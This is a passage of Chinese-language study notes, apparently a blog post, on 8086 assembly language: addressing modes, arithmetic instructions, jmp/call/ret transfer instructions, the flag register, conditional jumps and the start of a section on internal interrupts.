[0]<br>mov ax, [di]<br>mov ax, [bx+8]<br>mov ax, [bx+si]<br>mov ax, [bx+si+8] ;以上段地址默认在ds中</p><p>mov ax, [bp]<br>mov ax, [bp+8]<br>mov ax, [bp+si]<br>mov ax, [bp+si+8] ;以上段地址默认在ss中</p><p>mov ax, ds:[bp]<br>mov ax, es:[bx]<br>mov ax, ss:[bx+si]<br>mov ax, cs:[bx+si+8] ;显式给出存放段地址的寄存器</p></blockquote><p>寻址方式</p><p><img src="/medias/legacy/imgconvert.csdnimg.cn/227ea88db4496f76.png" alt="在这里插入图片描述" loading="lazy"></p><p><strong>4、指令要处理的数据有多长</strong><br>8086CPU的指令，可以处理两种尺寸的数据，byte和word</p><p>通过寄存器名指明要处理的数据的尺寸。<br>例如： mov al, ds:[0] 寄存器al指明了数据为1字节</p><p>在没有寄存器名存在的情况下，用操作符X ptr指明内存单元的长度，X在汇编指令中可以为word或byte。<br>例如：mov byte ptr ds:[0], 1 byte ptr 指明了指令访问的内存单元是一个字节单元</p><p>有些指令默认了访问的是字单元还是字节单元<br>例如，push [1000H]，push 指令只进行字操作。</p><p><strong>5、寻址方式的综合应用</strong></p><p><img src="/medias/legacy/imgconvert.csdnimg.cn/c1c9cbc0075e91ba.png" alt="在这里插入图片描述" loading="lazy"></p><blockquote><p>mov ax, seg<br>mov ds, ax<br>mov bx, 60h ;确定记录地址，ds:bx</p><p>mov word ptr [bx+0ch], 38 ;排名字段改为38 [bx].0ch<br>add word ptr [bx+0eh], 70 ;收入字段增加70 [bx].0eh<br>mov si, 0 ;用si来定位产品字符串中的字符<br>mov byte ptr [bx+10h+si], ‘V’ ;[bx].10h[si]<br>inc si<br>mov byte ptr [bx+10h+si], ‘A’<br>inc si<br>mov byte ptr [bx+10h+si], ‘X’</p></blockquote><p>C语言描述</p><pre class="language-none"><code class="language-none">&#x2F;*定义一个公司记录的结构体*&#x2F;struct company&#123; char cn[3];&#x2F;*公司名称*&#x2F; char hn[9];&#x2F;*总裁姓名*&#x2F; int pm;&#x2F;*排名*&#x2F; int sr;&#x2F;*收入*&#x2F; char cp[3];&#x2F;*著名产品*&#x2F;&#125;;&#x2F;&#x2F;sizeof (struct company) &#x3D;&#x3D; 24int main()&#123; &#x2F;*定义一个公司记录的变量，内存中将存有一条公司的记录*&#x2F; struct company dec &#x3D; &#123;&quot;DEC&quot;, &quot;Ken Olsen&quot;, 137, 40, &quot;PDP&quot;&#125;; int i; dec.pm &#x3D; 38; dec.sr &#x3D; dec.sr + 70; i &#x3D; 0; dec.cp[i] &#x3D; &#39;V&#39;; &#x2F;&#x2F;mov byte ptr [bx].10h[si], &#39;V&#39; i++; dec.cp[i] &#x3D; &#39;A&#39;; i++; dec.cp[i] &#x3D; &#39;X&#39;; return 0;&#125;</code></pre><p><strong>6、div指令、dd、dup、mul指令</strong></p><p>div是除法指令</p><p>除数：有8位和16位两种，在一个寄存器或内存单元中。</p><p>被除数：默认放在AX或DX和AX中，<br>如果除数为8位，被除数则为16位，默认在AX中存放；<br>如果除数为16位，被除数则为32位，在DX和AX中存放，DX存放高16位，AX存放低16位。</p><p>结果：<br>如果除数为8位，则AL存储除法操作的商，AH存储除法操作的余数；<br>如果除数为16位，则AX存储除法操作的商，DX存储除法操作的余数。</p><blockquote><p>;利用除法指令计算100001&#x2F;100。<br>;100001D &#x3D; 186A1H<br>mov dx, 1<br>mov ax, 86A1H ;(dx)*10000H+(ax)&#x3D;100001<br>mov bx, 100<br>div bx</p><p>;利用除法指令计算1001&#x2F;100<br>mov ax, 1001<br>mov bl, 100<br>div b1</p></blockquote><p><strong>伪指令dd</strong></p><p>db和dw定义字节型数据和字型数据。</p><p>dd是用来定义dword（double word，双字）型数据的伪指令</p><p><strong>操作符dup</strong></p><p>dup在汇编语言中同db、dw、dd等一样，也是由编译器识别处理的符号。<br>它和db、dw、dd等数据定义伪指令配合使用，用来进行数据的重复</p><blockquote><p>db 3 dup (0) ;定义了3个字节，它们的值都是0，相当于db 0，0，0。<br>db 3 dup (0, 1, 2) ;定义了9个字节，它们是0、1、2、0、1、2、0、1、2，相当于db 0，1，2，0，1，2，0，1，2。<br>db 3 dup (‘abc’, ‘ABC’) ;定义了18个字节，它们是abcABCabcABCabcABCC，相当于db ‘abc’, ‘ABC’ ,’abc’ , ‘ABC, ‘abc’, ‘ABC’。</p></blockquote><p><strong>mul 指令</strong></p><p>mul是乘法指令，使用 mul 做乘法的时候：相乘的两个数：要么都是8位，要么都是16位。</p><ul><li>8 位： AL中和 8位寄存器或内存字节单元中；</li><li>16 位： AX中和 16 位寄存器或内存字单元中。</li></ul><p>结果</p><ul><li>8位：AX中；</li><li>16位：DX（高位）和 AX（低位）中。</li></ul><p>格式：mul 寄存器 或 mul 内存单元</p><blockquote><p>;计算100*10<br>;100和10小于255，可以做8位乘法<br>mov al,100<br>mov bl,10<br>mul bl</p><p>;结果： (ax)&#x3D;1000（03E8H）</p></blockquote><blockquote><p>;计算100*10000<br>;100小于255，可10000大于255，所以必须做16位乘法，程序如下：<br>mov ax,100<br>mov bx,10000<br>mul bx</p><p>;结果： (ax)&#x3D;4240H，(dx)&#x3D;000FH （F4240H&#x3D;1000000）</p></blockquote><h2 id="八、转移指令的原理"><a href="#八、转移指令的原理" class="headerlink" title="八、转移指令的原理"></a>八、转移指令的原理</h2><p>可以修改IP，或同时修改CS和IP的指令统称为转移指令。概括地讲，转移指令就是可以控制CPU执行内存中某处代码的指令。</p><p>8086CPU的转移行为有以下几类。</p><ul><li>只修改IP时，称为段内转移，比如：jmp ax。</li><li>同时修改CS和IP时，称为段间转移，比如：jmp 1000:0。</li></ul><p>由于转移指令对IP的修改范围不同，段内转移又分为：短转移和近转移。</p><ul><li>短转移IP的修改范围为-128 ~ 127。</li><li>近转移IP的修改范围为-32768 ~ 32767。</li></ul><p>8086CPU的转移指令分为以下几类。</p><ul><li>无条件转移指令（如：jmp）</li><li>条件转移指令</li><li>循环指令（如：loop）</li><li>过程</li><li>中断</li></ul><h3 id="1、操作符offset"><a href="#1、操作符offset" class="headerlink" title="1、操作符offset"></a><strong>1、操作符offset</strong></h3><p>操作符offset在汇编语言中是由编译器处理的符号，它的功能是取得标号的偏移地址。</p><pre class="language-none"><code class="language-none">;将s处的一条指令复制到s0处assume cs:codesgcodesg segment s: mov ax, bx  ;（mov ax,bx 的机器码占两个字节） mov si, offset s ;获得标号s的偏移地址 mov di, offset s0 ;获得标号s0的偏移地址  mov ax, cs:[si] mov cs:[di], ax s0: nop   ;（nop的机器码占一个字节） nop codesg ends ends</code></pre><h3 id="2、jmp指令"><a href="#2、jmp指令" class="headerlink" title="2、jmp指令"></a>2、jmp指令</h3><p>jmp为无条件转移，转到标号处执行指令可以只修改IP，也可以同时修改CS和IP；</p><p>jmp指令要给出两种信息：</p><ul><li>转移的目的地址</li><li>转移的距离（段间转移、段内短转移，段内近转移）</li></ul><p> jmp short 标号 jmp near ptr 标号 jcxz 标号 loop 标号 等几种汇编指令，它们对 IP的修改</p><p>是根据转移目的地址和转移起始地址之间的位移来进行的。在它们对应的机器码中不包含转移的目的地址，而包含的是到目的地址的位移距离。</p><p><strong>1、依据位移进行转移的jmp指令</strong></p><p>jmp short 标号（段内短转移）</p><p>指令“jmp short 标号”的功能为(IP)&#x3D;(IP)+8位位移，转到标号处执行指令</p><p>（1）8位位移 &#x3D; “标号”处的地址 - jmp指令后的第一个字节的地址；</p><p>（2）short指明此处的位移为8位位移；</p><p>（3）8位位移的范围为-128~127，用补码表示</p><p>（4）8位位移由编译程序在编译时算出。</p><pre class="language-none"><code class="language-none">assume cs:codesgcodesg segment start:mov ax,0 jmp short s ;s不是被翻译成目的地址 add ax, 1 s:inc ax ;程序执行后， ax中的值为 1 codesg endsend start</code></pre><p>CPU不需要这个目的地址就可以实现对IP的修改。这里是依据位移进行转移</p><p>jmp short s指令的读取和执行过程：</p><ol><li>(CS)&#x3D;0BBDH，(IP)&#x3D;0006，上一条指令执行结束后CS:IP指向EB 03（jmp short s的机器码）；</li><li>读取指令码EB 03进入指令缓冲器；</li><li>(IP) &#x3D; (IP) + 所读取指令的长度 &#x3D; (IP) + 2 &#x3D; 0008，CS:IP指向add ax,1；</li><li>CPU指行指令缓冲器中的指令EB 03；</li><li>指令EB 03执行后，(IP)&#x3D;000BH，CS:IP指向inc ax</li></ol><p>jmp near ptr 标号 （段内近转移）</p><p>指令“jmp near ptr 标号”的功能为：(IP) &#x3D; (IP) + 16位位移。</p><p><strong>2、转移的目的地址在指令中的jmp指令</strong></p><p>jmp far ptr 标号（段间转移或远转移）</p><p>指令 “jmp far ptr 标号” 功能如下：</p><ul><li>(CS) &#x3D; 标号所在段的段地址；</li><li>(IP) &#x3D; 标号所在段中的偏移地址。</li><li>far ptr指明了指令用标号的段地址和偏移地址修改CS和IP。</li></ul><pre class="language-none"><code class="language-none">assume cs:codesgcodesg segment start: mov ax, 0 mov bx, 0  jmp far ptr s ;s被翻译成转移的目的地址0B01 BD0B  db 256 dup (0) ;转移的段地址：0BBDH，偏移地址：010BH s: add ax,1  inc axcodesg endsend start</code></pre><p><img src="/medias/legacy/imgconvert.csdnimg.cn/e9d615591c71862b.png" alt="在这里插入图片描述" loading="lazy"></p><p><strong>3、转移地址在寄存器或内存中的jmp指令</strong><br>jmp 16位寄存器 功能：IP &#x3D;（16位寄存器）</p><p>转移地址在内存中的jmp指令有两种格式：</p><p>jmp word ptr 内存单元地址（段内转移）</p><p>功能：从内存单元地址处开始存放着一个字，是转移的目的偏移地址。</p><blockquote><p>mov ax, 0123H<br>mov ds:[0], ax<br>jmp word ptr ds:[0]<br>;执行后，(IP)&#x3D;0123H</p></blockquote><p>jmp dword ptr 内存单元地址（段间转移）<br>功能：从内存单元地址处开始存放着两个字，高地址处的字是转移的目的段地址，低地址处是转移的目的偏移地址。</p><p>1、(CS)&#x3D;(内存单元地址+2)<br>2、(IP)&#x3D;(内存单元地址)</p><pre class="language-none"><code class="language-none">mov ax, 0123Hmov ds:[0], ax;偏移地址mov word ptr ds:[2], 0;段地址jmp dword ptr ds:[0];执行后，;(CS)&#x3D;0;(IP)&#x3D;0123H;CS:IP 指向 0000:0123。</code></pre><p><strong>4、jcxz指令和loop指令</strong></p><p><strong>jcxz指令</strong></p><p>jcxz指令为有条件转移指令，所有的有条件转移指令都是短转移，</p><p>在对应的机器码中包含转移的位移，而不是目的地址。对IP的修改范围都为-128~127。</p><p>指令格式：jcxz 标号（如果(cx)&#x3D;0，则转移到标号处执行。）</p><p>当(cx) &#x3D; 0时，(IP) &#x3D; (IP) + 8位位移</p><ul><li>8位位移 &#x3D; “标号”处的地址 - jcxz指令后的第一个字节的地址；</li><li>8位位移的范围为-128~127，用补码表示；</li><li>8位位移由编译程序在编译时算出。</li></ul><p>当(cx)!&#x3D;0时，什么也不做（程序向下执行）</p><p><strong>loop指令</strong></p><p>loop指令为循环指令，所有的循环指令都是短转移，在对应的机器码中包含转移的位移，而不是目的地址。</p><p>对IP的修改范围都为-128~127。</p><p>指令格式：loop 标号 ((cx) &#x3D; (cx) - 1，如果(cx) ≠ 0，转移到标号处执行)。</p><p>(cx) &#x3D; (cx) - 1；如果 (cx) !&#x3D; 0，(IP) &#x3D; (IP) + 8位位移。</p><ul><li>8位位移 &#x3D; 标号处的地址 - loop指令后的第一个字节的地址；</li><li>8位位移的范围为-128~127，用补码表示；</li><li>8位位移由编译程序在编译时算出。</li></ul><p>如果（cx）&#x3D; 0，什么也不做（程序向下执行）。</p><h2 id="九、call和ret指令"><a href="#九、call和ret指令" class="headerlink" title="九、call和ret指令"></a>九、call和ret指令</h2><p>call和ret指令都是转移指令，它们都修改IP，或同时修改CS和IP。</p><h3 id="1、ret-和-retf"><a href="#1、ret-和-retf" class="headerlink" title="1、ret 和 retf"></a>1、ret 和 retf</h3><p>ret指令用栈中的数据，修改IP的内容，从而实现近转移；</p><p>retf指令用栈中的数据，修改CS和IP的内容，从而实现远转移。</p><p>CPU执行ret指令时，相当于进行： pop IP：</p><p>（1）(IP) &#x3D; ( (ss) * 16 + (sp) )</p><p>（2）(sp) &#x3D; (sp) + 2</p><p>CPU执行retf指令时，相当于进行：pop IP, pop CS：</p><p>（1）(IP) &#x3D; ( (ss) * 16 + (sp) )</p><p>（2）(sp) &#x3D; (sp) + 2</p><p>（3）(CS) &#x3D; ( (ss) * 16 + (sp) )</p><p>（4）(sp) &#x3D; (sp) + 2</p><pre class="language-none"><code class="language-none">assume cs:code stack seqmentdb 16 dup (0)stack ends code segmentmov ax, 4c00hint 21h  start:mov ax, stack  mov ss, ax mov sp, 16mov ax, 0push ax ;ax入栈mov bx, 0ret ;ret指令执行后，(IP)&#x3D;0，CS:IP指向代码段的第一条指令。可以push cs push ax retfcode endsend start</code></pre><h3 id="2、call-指令"><a href="#2、call-指令" class="headerlink" title="2、call 指令"></a><strong>2、call 指令</strong></h3><p>call指令经常跟ret指令配合使用，因此CPU执行call指令，进行两步操作：</p><p>（1）将当前的 IP 或 CS和IP 压入栈中；</p><p>（2）转移（jmp）。</p><p>call指令不能实现短转移，除此之外，call指令实现转移的方法和 jmp 指令的原理相同。</p><p><strong>call 标号（近转移）</strong></p><p>CPU执行此种格式的call指令时，相当于进行 push IP jmp near ptr 标号</p><p>call far ptr 标号（段间转移）</p><p>CPU执行此种格式的call指令时，相当于进行：push CS，push IP jmp far ptr 标号</p><p><strong>call 16位寄存器</strong></p><p>CPU执行此种格式的call指令时，相当于进行： push IP jmp 16位寄存器</p><p>call word ptr 内存单元地址</p><p>CPU执行此种格式的call指令时，相当于进行：push IP jmp word ptr 内存单元地址</p><blockquote><p>mov sp, 10h<br>mov ax, 0123h<br>mov ds:[0], ax<br>call word ptr ds:[0]<br>;执行后，(IP)&#x3D;0123H，(sp)&#x3D;0EH</p></blockquote><p>call dword ptr 内存单元地址</p><p>CPU执行此种格式的call指令时，相当于进行：push CS push IP jmp dword ptr 内存单元地址</p><pre class="language-none"><code class="language-none">mov sp, 10hmov ax, 0123hmov ds:[0], axmov word ptr ds:[2], 0call dword ptr ds:[0];执行后，(CS)&#x3D;0，(IP)&#x3D;0123H，(sp)&#x3D;0CH</code></pre><h3 id="3、call-和-ret-的配合使用"><a href="#3、call-和-ret-的配合使用" class="headerlink" title="3、call 和 ret 的配合使用"></a>3、call 和 ret 的配合使用</h3><p>分析下面程序</p><pre class="language-none"><code class="language-none">assume cs:codecode segmentstart:mov ax,1 mov cx,3 call s ;（1）CPU指令缓冲器存放call指令，IP指向下一条指令（mov bx, ax），执行call指令，IP入栈，jmp  mov bx,ax;（4）IP重新指向这里 bx &#x3D; 8 mov ax,4c00h int 21h s: add ax,ax loop s;（2）循环3次ax &#x3D; 8 ret;（3）return : pop IPcode endsend start</code></pre><p>call 与 ret 指令共同支持了汇编语言编程中的模块化设计</p><p>编写子程序</p><h2 id="十、标志寄存器"><a href="#十、标志寄存器" class="headerlink" title="十、标志寄存器"></a>十、标志寄存器</h2><p>1、标志寄存器<br>CPU内部的寄存器中，有一种特殊的寄存器（对于不同的处理机，个数和结构都可能不同）具有以下3种作用。</p><p>（1）用来存储相关指令的某些执行结果；</p><p>（2）用来为CPU执行相关指令提供行为依据；</p><p>（3）用来控制CPU的相关工作方式。</p><p>这种特殊的寄存器在8086CPU中，被称为标志寄存器（flag）。</p><p>8086CPU的标志寄存器有16位，其中存储的信息通常被称为程序状态字（PSW-Program Status Word）</p><p>flag寄存器是按位起作用的，它的每一位都有专门的含义，记录特定的信息。</p><p><img src="/medias/legacy/imgconvert.csdnimg.cn/c2bebad577e8303e.png" alt="在这里插入图片描述" loading="lazy"></p><p>在8086CPU的指令集中，有的指令的执行是影响标志寄存器的，比如，add、sub、mul、div、inc、or、and等，它们大都是运算指令（进行逻辑或算术运算）；有的指令的执行对标志寄存器没有影响，比如，mov、push、pop等，它们大都是传送指令</p><p><strong>1、零标志位 (ZF)</strong></p><p>零标志位（Zero Flag）。它记录相关指令执行后，其结果是否为0。</p><p>如果结果为0，那么zf &#x3D; 1(表示结果是0)；如果结果不为0，那么zf &#x3D; 0。</p><pre class="language-none"><code class="language-none">mov ax, 1sub ax, 1 ;执行后，结果为0，则zf &#x3D; 1mov ax, 2sub ax, 1 ;执行后，结果不为0，则zf &#x3D; 0</code></pre><p><strong>2、奇偶标志位 (PF)</strong></p><p>奇偶标志位（Parity Flag）。它记录相关指令执行后，其结果的所有bit位中1的个数是否为偶数。</p><p>如果1的个数为偶数，pf &#x3D; 1，如果为奇数，那么pf &#x3D; 0。</p><blockquote><p>mov al, 1<br>add al, 10 ;执行后，结果为00001011B，其中有3（奇数）个1，则pf &#x3D; 0；</p><p>mov al, 1<br>or al, 2 ;执行后，结果为00000011B，其中有2（偶数）个1，则pf &#x3D; 1；</p></blockquote><p><strong>3、符号标志位(SF)</strong></p><p>符号标志位(Symbol Flag)。它记录相关指令执行后，其结果是否为负。</p><p>如果结果为负，sf &#x3D; 1；如果非负，sf &#x3D; 0。</p><p>计算机中通常用补码来表示有符号数据。计算机中的一个数据可以看作是有符号数，也可以看成是无符号数。</p><p>00000001B，可以看作为无符号数1，或有符号数+1；<br>10000001B，可以看作为无符号数129，也可以看作有符号数-127。</p><p>对于同一个二进制数据，计算机可以将它当作无符号数据来运算，也可以当作有符号数据来运算</p><p>CPU在执行add等指令的时候，就包含了两种含义:可以将add指令进行的运算当作无符号数的运算，也可以将add指令进行的运算当作有符号数的运算</p><p>SF标志，就是CPU对有符号数运算结果的一种记录，它记录数据的正负。在我们将数据当作有符号数来运算的时候，可以通过它来得知结果的正负。如果我们将数据当作无符号数来运算，SF的值则没有意义，虽然相关的指令影响了它的值</p><blockquote><p>mov al, 10000001B<br>add al, 1 ;执行后，结果为10000010B，sf &#x3D; 1，表示：如果指令进行的是有符号数运算，那么结果为负；<br>1<br>2<br>mov al, 10000001B<br>add al, 01111111B ;执行后，结果为0，sf &#x3D; 0，表示：如果指令进行的是有符号数运算，那么结果为非负</p></blockquote><p><strong>3、进位标志位(CF)</strong></p><p>进位标志位(Carry Flag)。一般情况下，在进行无符号数运算的时候，它记录了运算结果的最高有效位向更高位的进位值，或从更高位的借位值</p><p><img src="/medias/legacy/imgconvert.csdnimg.cn/d867c975bc1ea74b.png" alt="在这里插入图片描述" loading="lazy"></p><p>97H - 98H 产生借位CF &#x3D; 1 &#x3D;&#x3D;》 (al) &#x3D; 197H - 98H &#x3D; FFH</p><p><strong>4、溢出标志位(OF)</strong></p><p>溢出标志位(Overflow Flag)。一般情况下，OF记录了有符号数运算的结果是否发生了溢出。</p><p>如果发生溢出，OF &#x3D; 1；如果没有，OF &#x3D; 0。</p><p>CF和OF的区别：CF是对无符号数运算有意义的标志位，而OF是对有符号数运算有意义的标志位</p><p>CPU在执行add等指令的时候，就包含了两种含义：无符号数运算和有符号数运算。</p><ul><li>对于无符号数运算，CPU用CF位来记录是否产生了进位；</li><li>对于有符号数运算，CPU用OF位来记录是否产生了溢出，当然，还要用SF位来记录结果的符号。</li></ul><blockquote><p>mov al, 98<br>add al, 99 ;执行后将产生溢出。因为进行的”有符号数”运算是：（al）&#x3D;（al）+ 99 &#x3D; 98 + 99&#x3D;197 &#x3D; C5H 为-59的补码<br>;而结果197超出了机器所能表示的8位有符号数的范围：-128-127。<br>;add 指令执行后：无符号运算没有进位CF&#x3D;0，有符号运算溢出OF&#x3D;1<br>;当取出的数据C5H按无符号解析C5H &#x3D; 197, 当按有符号解析通过SP得知数据为负,即C5H为-59补码存储，</p><p>mov al，0F0H ;F0H，为有符号数-16的补码 -Not(F0 - 1)<br>add al，088H ;88H，为有符号数-120的补码 -Not(88- 1)<br>;执行后，将产生溢出。因为add al, 088H进行的有符号数运算结果是：（al）&#x3D; -136<br>;而结果-136超出了机器所能表示的8位有符号数的范围：-128-127。<br>;add 指令执行后：无符号运算有进位CF&#x3D;1，有符号运算溢出OF&#x3D;1</p></blockquote><p><strong>2、adc指令和sbb指令</strong></p><p>adc是带进位加法指令，它利用了CF位上记录的进位值。</p><p>指令格式：adc 操作对象1, 操作对象2</p><p>功能：操作对象1 &#x3D; 操作对象1 + 操作对象2 + CF</p><blockquote><p>mov ax, 2<br>mov bx, 1<br>sub bx, ax ;无符号运算借位CF&#x3D;1，有符号运算OF &#x3D; 0<br>adc ax, 1 ;执行后，（ax）&#x3D; 4。adc执行时，相当于计算：(ax)+1+CF &#x3D; 2+1+1 &#x3D; 4。</p></blockquote><p><img src="/medias/legacy/imgconvert.csdnimg.cn/200c8e36aa4f84f9.png" alt="在这里插入图片描述" loading="lazy"></p><pre class="language-none"><code class="language-none">;计算1EF000H+201000H，结果放在ax（高16位）和bx（低16位）中。;将计算分两步进行，先将低16位相加，然后将高16位和进位值相加。mov ax, 001EH mov bx, 0F000H add bx, 1000Hadc ax, 0020H</code></pre><p><strong>sbb指令</strong></p><p>sbb是带借位减法指令，它利用了CF位上记录的借位值。</p><p>指令格式：sbb 操作对象1, 操作对象2</p><p>功能：操作对象1 &#x3D; 操作对象1 - 操作对象2 - CF</p><pre class="language-none"><code class="language-none">;计算 003E1000H - 00202000H，结果放在ax，bx中，程序如下：mov bx, 1000Hmov ax, 003EHsub bx, 2000Hsbb ax, 0020H</code></pre><p><strong>3、cmp指令</strong></p><p>cmp是比较指令，cmp的功能相当于减法指令，只是不保存结果。cmp指令执行后，将对标志寄存器产生影响。</p><p>其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。</p><p>cmp指令格式：cmp 操作对象1，操作对象2</p><p>例如：<br>指令cmp ax, ax，做（ax）-（ax）的运算，结果为0，但并不在ax中保存，仅影响flag的相关各位。<br>指令执行后：zf&#x3D;1，pf&#x3D;1，sf&#x3D;0，cf&#x3D;0，of&#x3D;0。</p><p>CPU在执行cmp指令的时候，也包含两种含义：进行无符号数运算和进行有符号数运算。</p><table><thead><tr><th align="left">cmp ax, bx</th><th align="left">无符号比较时</th></tr></thead><tbody><tr><td align="left">(ax) &#x3D; (bx)</td><td align="left">zf &#x3D; 1</td></tr><tr><td align="left">(ax) ≠ (bx)</td><td align="left">zf &#x3D; 0</td></tr><tr><td align="left">(ax) &lt; (bx)</td><td align="left">cf &#x3D; 1</td></tr><tr><td align="left">(ax) ≥ (bx)</td><td align="left">cf &#x3D; 0</td></tr><tr><td align="left">(ax) &gt; (bx)</td><td align="left">cf &#x3D; 0 且 zf &#x3D; 0</td></tr><tr><td align="left">(ax) ≤ (bx)</td><td align="left">cf &#x3D; 1 且 zf &#x3D; 1</td></tr></tbody></table><p>上面的表格可以正推也可以逆推</p><p>如果用cmp来进行有符号数比较时<br>SF只能记录实际结果的正负，发生溢出的时候，实际结果的正负不能说明逻辑上真正结果的正负。<br>但是逻辑上的结果的正负，才是cmp指令所求的真正结果，所以我们在考察SF的同时考察OF，就可以得知逻辑上真正结果的正负，同时就知道比较的结果。</p><pre class="language-none"><code class="language-none">mov ah, 08AH ; -Not(8A-1) &#x3D; -118 即当成有符号数时为-118mov bh, 070H ; 有符号数时最高位为0为正数， 70H &#x3D; 112cmp ah, bh ;（ah）-（bh）实际得到的结果是1AH  ; 在逻辑上，运算所应该得到的结果是：（-118）- 112 &#x3D; -230 ; sf记录实际结果的正负，所以sf&#x3D;0</code></pre><blockquote><p>cmp ah, bh<br>（1）如果sf&#x3D;1，而of&#x3D;0 。 of&#x3D;0说明没有溢出，逻辑上真正结果的正负&#x3D;实际结果的正负； sf&#x3D;1，实际结果为负，所以逻辑上真正的结果为负，所以（ah）&lt;（bh）</p><p>（2）如果sf&#x3D;1，而of&#x3D;1： of&#x3D;1，说明有溢出，逻辑上真正结果的正负≠实际结果的正负； sf&#x3D;1，实际结果为负。<br>实际结果为负，而又有溢出，这说明是由于溢出导致了实际结果为负，，如果因为溢出导致了实际结果为负，那么逻辑上真正的结果必然为正。 这样，sf&#x3D;1，of&#x3D;1，说明了（ah）&gt;（bh）。</p><p>（3）如果sf&#x3D;0，而of&#x3D;1。of&#x3D;1，说明有溢出，逻辑上真正结果的正负≠实际结果的正负；sf&#x3D;0，实际结果非负。而of&#x3D;1说明有溢出，则结果非0，所以，实际结果为正。<br>实际结果为正，而又有溢出，这说明是由于溢出导致了实际结果非负，如果因为溢出导致了实际结果为正，那么逻辑上真正的结果必然为负。这样，sf&#x3D;0，of&#x3D;1，说明了（ah）&lt;（bh）。<br>（4）如果sf&#x3D;0，而of&#x3D;0<br>of&#x3D;0，说明没有溢出，逻辑上真正结果的正负&#x3D;实际结果的正负；sf&#x3D;0，实际结果非负，所以逻辑上真正的结果非负，所以（ah）≥（bh）。</p></blockquote><p><strong>4、检测比较结果的条件转移指令</strong></p><p>可以根据某种条件，决定是否修改IP的指令</p><p>jcxz它可以检测cx中的数值，如果（cx）&#x3D;0，就修改IP，否则什么也不做。</p><p>所有条件转移指令的转移位移都是[-128，127]。</p><p>多数条件转移指令都检测标志寄存器的相关标志位，根据检测的结果来决定是否修改IP</p><p>这些条件转移指令通常都和cmp相配合使用,它们所检测的标志位，都是cmp指令进行无符号数比较的时记录比较结果的标志位</p><p>根据无符号数的比较结果进行转移的条件转移指令（它们检测zf、cf的值）</p><table><thead><tr><th align="left">指令</th><th align="left">含义</th><th align="left">检测的相关标志位</th></tr></thead><tbody><tr><td align="left">je</td><td align="left">等于则转移</td><td align="left">zf &#x3D; 1</td></tr><tr><td align="left">jne</td><td align="left">不等于则转移</td><td align="left">zf &#x3D; 0</td></tr><tr><td align="left">jb</td><td align="left">低于则转移</td><td align="left">cf &#x3D; 1</td></tr><tr><td align="left">jnb</td><td align="left">不低于则转移</td><td align="left">cf &#x3D; 0</td></tr><tr><td align="left">ja</td><td align="left">高于则转移</td><td align="left">cf &#x3D; 0 且 zf &#x3D; 0</td></tr><tr><td align="left">jna</td><td align="left">不高于则转移</td><td align="left">cf &#x3D; 1 且 zf &#x3D; 1</td></tr></tbody></table><p>j：jump，e：equal，b：below，a：above，n：not</p><pre class="language-none"><code class="language-none">;编程，统计data段中数值为8的字节的个数，用ax保存统计结果。mov ax, data mov ds, ax mov bx, 0 ;ds:bx指向第一个字节mov ax, 0 ;初始化累加器mov cx，8s:cmp byte ptr[bx], 8 ;和8进行比较jne next ;如果不相等转到next，继续循环inc ax ;如果相等就将计数值加1next:inc bxloop s ;程序执行后：（ax）&#x3D;3</code></pre><p><strong>5、DF标志和串传送指令</strong><br>方向标志位。在串处理指令中，控制每次操作后si、di的增减。</p><ul><li>df &#x3D; 0每次操作后si、di递增；</li><li>df &#x3D; 1每次操作后si、di递减。</li></ul><p>格式：movsb<br>功能：将ds:si指向的内存单元中的字节送入es:di中，然后根据标志寄存器df位的值，将si和di递增或递减</p><p>格式：movsw<br>功能：将ds:si指向的内存字单元中的字送入es:di中，然后根据标志寄存器df位的值，将si和di递增2或递减2。</p><p>格式：rep movsb<br>movsb和movsw进行的是串传送操作中的一个步骤，一般来说，movsb和movsw都和rep配合使用，<br>功能：rep的作用是根据cx的值，重复执行后面的串传送指令</p><p>8086CPU提供下面两条指令对df位进行设置。</p><ul><li>cld指令：将标志寄存器的df位置0</li><li>std指令：将标志寄存器的df位置1</li></ul><pre class="language-none"><code class="language-none">;将data段中的第一个字符串复制到它后面的空间中。data segment db &#39;Welcome to masm!&#39;db 16 dup (0)data endsmov ax, data mov ds, ax mov si, 0 ;ds:si 指向data:0mov es, ax mov di, 16 ;es:di指向data:0010mov cx, 16 ;（cx）&#x3D;16，rep循环16次c1d ;设置df&#x3D;0，正向传送rep movsb</code></pre><p><strong>6、pushf和popf</strong><br>pushf的功能是将标志寄存器的值压栈，而popf是从栈中弹出数据，送入标志寄存器中</p><p>pushf和popf，为直接访问标志寄存器提供了一种方法。</p><h2 id="十一、内中断"><a href="#十一、内中断" class="headerlink" title="十一、内中断"></a>十一、内中断</h2><h3 id="1、内中断的产生"><a href="#1、内中断的产生" class="headerlink" title="1、内中断的产生"></a>1、内中断的产生</h3><p>任何一个通用的CPU，都具备一种能力，可以在执行完当前正在执行的指令之后，检测到从CPU外部发送过来的或内部产生的一种特殊信息，并且可以立即对所接收到的信息进行处理。这种特殊的信息，我们可以称其为：中断信息。中断的意思是指，CPU不再接着（刚执行完的指令）向下执行，而是转去处理这个特殊信息。</p><p>中断信息可以来自CPU的内部和外部（内中断，外中断）</p><p>内中断：当CPU的内部有需要处理的事情发生的时候，将产生中断信息，引发中断过程。这种中断信息来自CPU的内部</p><p>8086CPU的内中断（下面四种情况将产生中断信息）</p><ul><li>除法错误，比如，执行div指令产生的除法溢出；</li><li>单步执行；</li><li>执行into指令；</li><li>执行int指令。</li></ul><p>中断信息中包含中断类型码，中断类型码为一个字节型数据，可以表示256种中断信息的来源（中断源）</p><p>上述的4种中断源，在8086CPU中的中断类型码如下。</p><ul><li>除法错误：0</li><li>单步执行：1</li><li>执行into指令：4</li><li>执行int指令，该指令的格式为int n，指令中的n为字节型立即数，是提供给CPU的中断类型码。</li></ul><h3 id="2、中断处理程序、中断向量表、中断过程"><a href="#2、中断处理程序、中断向量表、中断过程" class="headerlink" title="2、中断处理程序、中断向量表、中断过程"></a><strong>2、中断处理程序、中断向量表、中断过程</strong></h3><p>中断处理程序</p><p>用来处理中断信息的程序被称为中断处理程序。</p><p>根据CPU的设计，中断类型码的作用就是用来定位中断处理程序。比如CPU根据中断类型码4，就可以找到4号中断的处理程序</p><p>中断向量表</p><p>中断向量，就是中断处理程序的入口地址。中断向量表，就是中断处理程序入口地址的列表</p><p>CPU用8位的中断类型码通过中断向量表找到相应的中断处理程序的入口地址</p><p><img src="/medias/legacy/imgconvert.csdnimg.cn/22876867838bee58.png" alt="在这里插入图片描述" 